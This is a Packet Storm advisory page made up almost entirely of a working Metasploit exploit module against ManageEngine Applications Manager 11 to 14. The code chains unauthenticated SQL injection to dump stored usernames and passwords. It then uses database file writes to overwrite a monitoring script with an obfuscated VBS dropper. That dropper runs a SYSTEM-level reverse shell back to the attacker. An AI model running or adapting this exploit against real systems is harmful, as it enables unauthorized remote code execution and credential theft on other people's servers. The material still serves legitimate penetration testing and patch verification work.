ManageEngine Applications Manager 14 SQL Injection / Remote Code Execution

2019-04-18T00:00:00
ID PACKETSTORM:152565
Type packetstorm
Reporter Ozkan Mustafa Akkus
Modified 2019-04-18T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "ManageEngine Applications Manager 11.0 < 14.0 SQL Injection / Remote Code Execution",  
'Description' => %q(  
This module exploits sql and command injection vulnerability in the ManageEngine AM 14 and prior versions.  
An unauthenticated user can gain the authority of "system" on the server due to SQL injection vulnerability.  
Exploit allows the writing of the desired file to the system using the postgesql structure.  
Module is written over the payload by selecting a file with the extension ".vbs" that is used for monitoring   
by the ManageEngine which working with "system" authority.  
  
In addition, it dumps the users and passwords from the database for us.  
Keep in mind! After the harmful ".vbs" file is written, the shell session may be a bit late.  
Because the ManageEngine application should run this file itself.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus  
],  
'References' =>  
[  
['URL', 'https://pentest.com.tr/exploits/ManageEngine-App-Manager-14-SQLi-Remote-Code-Execution.html']  
],  
'DefaultOptions' =>  
{  
'WfsDelay' => 500,  
'PAYLOAD' => 'windows/shell_reverse_tcp',  
'RPORT' => 8443,  
'SSL' => true  
},  
'Payload' =>  
{  
'Encoder' => 'x86/shikata_ga_nai'  
},  
'Platform' => ['win'],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' =>  
[  
['AppManager 14', {}],  
['AppManager 13', {}],  
['AppManager 12', {}],  
['AppManager 11', {}]  
],  
'Privileged' => true,  
'DisclosureDate' => 'Apr 17 2019',  
'DefaultTarget' => 1))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI of the application', '/'])  
]  
)  
end  
##  
# Check exploit vulnerability basically // 'Appears' more convenient  
##  
def check  
res = inject(Rex::Text.rand_text_alpha(1))  
  
if res.code = "200" && res.headers['set-cookie'] =~ /JSESSIONID/  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Safe  
end  
end  
##  
# VBS payload and Post Data preparation  
##  
def get_payload  
  
handler  
payload = generate_payload_exe  
@vbs_content = Msf::Util::EXE.to_exe_vbs(payload)  
## determining the target directory  
if target.name == 'AppManager 14'  
tfile = "AppManager14"  
elsif target.name == 'AppManager 13'  
tfile = "AppManager13"  
elsif target.name == 'AppManager 12'  
tfile = "AppManager12"  
elsif target.name == 'AppManager 11'  
tfile = "AppManager11"  
end  
  
fhashes = Rex::Text.rand_text_alpha_lower(8) + ".txt"  
## parameters required to read the user table  
hashes = "sid=1;copy+(select+username,password+from+AM_UserPasswordTable)+to+$$"  
hashes << "c:\\Program+Files+(x86)\\ManageEngine\\"  
hashes << "#{tfile}"  
hashes << "\\working\\"  
hashes << "#{fhashes}"  
hashes << "$$;--"  
  
res = inject("#{hashes}")  
  
if res.code = "200" && res.headers['set-cookie'] =~ /JSESSIONID/  
print_good("Users in the database were taken...")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "#{fhashes}") # users file url  
})  
  
if res.code == "404"  
fail_with(Failure::Unreachable, 'The database could not be read!')  
else  
print_status("--------------------Usernames and Passwords---------------------")  
puts res.body # users table output  
print_status("----------------------------------------------------------------")   
end   
else  
fail_with(Failure::Unreachable, 'Connection error occurred!')  
end  
  
## fetch base64 part in vbs payload  
pb64 = @vbs_content.split('"  
Dim')[0].split(' = "')[2]  
## vbs file in one line  
vbs_file = 'On Error Resume Next:Set objWbemLocator = CreateObject("WbemScripting.SWbemLocator"):'  
vbs_file << 'if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Description:End If:O'  
vbs_file << 'n Error GoTo 0:On Error Resume Next:Select Case WScript.Arguments.Count:Case 2:strCo'  
vbs_file << 'mputer = Wscript.Arguments(0):strQuery = Wscript.Arguments(1):Set wbemServices = obj'  
vbs_file << 'WbemLocator.ConnectServer (strComputer,"Root\\CIMV2"):Case 4:strComputer = Wscript.A'  
vbs_file << 'rguments(0):strUsername = Wscript.Arguments(1):strPassword = Wscript.Arguments(2):st'  
vbs_file << 'rQuery = Wscript.Arguments(3):Set wbemServices = objWbemLocator.ConnectServer (strCo'  
vbs_file << 'mputer,"Root\\CIMV2",strUsername,strPassword):case 6:strComputer = Wscript.Arguments'  
vbs_file << '(0):strUsername = Wscript.Arguments(1):strPassword = Wscript.Arguments(2):strQuery ='  
vbs_file << ' Wscript.Arguments(4):namespace = Wscript.Arguments(5):Set wbemServices = objWbemLoca'  
vbs_file << 'tor.ConnectServer (strComputer,namespace,strUsername,strPassword):Case Else:strMsg ='  
vbs_file << ' "Error # in parameters passed":WScript.Echo strMsg:WScript.Quit(0):End Select:Set w'  
vbs_file << 'bemServices = objWbemLocator.ConnectServer (strComputer, namespace, strUsername, str'  
vbs_file << 'Password):if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Descriptio'  
vbs_file << 'n:End If:On Error GoTo 0:On Error Resume Next:Set colItems = wbemServices.ExecQuery(s'  
vbs_file << 'trQuery):if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Description'  
vbs_file << ':End If:On Error GoTo 0:i=0:For Each objItem in colItems:if i=0 then:header = "":For '  
vbs_file << 'Each param in objItem.Properties_:header = header & param.Name & vbTab:Next:WScript.E'  
vbs_file << 'cho header:i=1:end if:serviceData = "":For Each param in objItem.Properties_:serviceD'  
vbs_file << 'ata = serviceData & param.Value & vbTab:Next:WScript.Echo serviceData:Next:Function b'  
vbs_file << 'PBdVfYpfCEHF(hBPVZMitxq):HHgwqsqii = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-m'  
vbs_file << 'icrosoft-com:datatypes" & Chr(34) & " " & "dt:dt=" & Chr(34) & "bin.base64" & Chr(34)'  
vbs_file << ' & ">" & hBPVZMitxq & "</B64DECODE>":Set TInPBSeVlL = CreateObject("MSXML2.DOMDocument'  
vbs_file << '.3.0"):TInPBSeVlL.LoadXML(HHgwqsqii):bPBdVfYpfCEHF = TInPBSeVlL.selectsinglenode("B64D'  
vbs_file << 'ECODE").nodeTypedValue:set TInPBSeVlL = nothing:End Function:Function txhYXYJJl():Emkf'  
vbs_file << 'dMDdusgGha = "'  
vbs_file << "#{pb64}"  
vbs_file << '":Dim CCEUdwNSS:Set CCEUdwNSS = CreateObject("Scripting.FileSystemObject"):Dim zhgqIZn'  
vbs_file << 'K:Dim gnnTqZvAcL:Set zhgqIZnK = CCEUdwNSS.GetSpecialFolder(2):gnnTqZvAcL = zhgqIZnK & '  
vbs_file << '"\" & CCEUdwNSS.GetTempName():CCEUdwNSS.CreateFolder(gnnTqZvAcL):yZUoLXnPic = gnnTqZvAc'  
vbs_file << 'L & "\" & "SAEeVSXQVkDEIG.exe":Dim mEciydMZTsoBmAo:Set mEciydMZTsoBmAo = CreateObject("'  
vbs_file << 'Wscript.Shell"):LXbjZKnEQUfaS = bPBdVfYpfCEHF(EmkfdMDdusgGha):Set TUCiiidRgJQdxTl = Cre'  
vbs_file << 'ateObject("ADODB.Stream"):TUCiiidRgJQdxTl.Type = 1:TUCiiidRgJQdxTl.Open:TUCiiidRgJQdxT'  
vbs_file << 'l.Write LXbjZKnEQUfaS:TUCiiidRgJQdxTl.SaveToFile yZUoLXnPic, 2:mEciydMZTsoBmAo.run yZU'  
vbs_file << 'oLXnPic, 0, true:CCEUdwNSS.DeleteFile(yZUoLXnPic):CCEUdwNSS.DeleteFolder(gnnTqZvAcL):E'  
vbs_file << 'nd Function:txhYXYJJl:WScript.Quit(0)'  
## encode the vbs file to base64 and then encode the url-hex  
encoding_vbs = Rex::Text.uri_encode(Rex::Text.encode_base64(vbs_file), 'hex-all')  
  
## post preparation // creating and writing files on the server with SQLi  
vbs_payload = "sid=1;copy+(select+convert_from(decode($$#{encoding_vbs}$$,$$base64$$)"  
vbs_payload << ",$$utf-8$$))+to+$$C:\\\\Program+Files+(x86)\\\\ManageEngine\\\\"  
vbs_payload << "#{tfile}"  
vbs_payload << "\\\\working\\\\conf\\\\application\\\\scripts\\\\wmiget.vbs$$;"  
  
res = inject("#{vbs_payload}")  
  
if res.code = "200" && res.headers['set-cookie'] =~ /JSESSIONID/  
print_good("The harmful .vbs file was successfully written to the server.")  
print_status("Keep in mind! You may have to wait between 10-300 seconds for the shell session.")  
else  
fail_with(Failure::Unreachable, 'Connection error occurred!')  
end  
  
return payload  
end  
##  
# Call functions  
##  
def exploit  
unless Exploit::CheckCode::Appears == check  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')  
end  
print_status("Payload is preparing...")  
get_payload  
  
end  
##  
# Inj payload  
##  
def inject(payload)  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'ctype' => 'application/x-www-form-urlencoded',  
'uri' => normalize_uri(target_uri.path, '/jsp/Popup_SLA.jsp'),  
'data' => payload  
}, 25)  
  
end  
end  
##  
# The end of the adventure (o_O) // AkkuS  
##  
`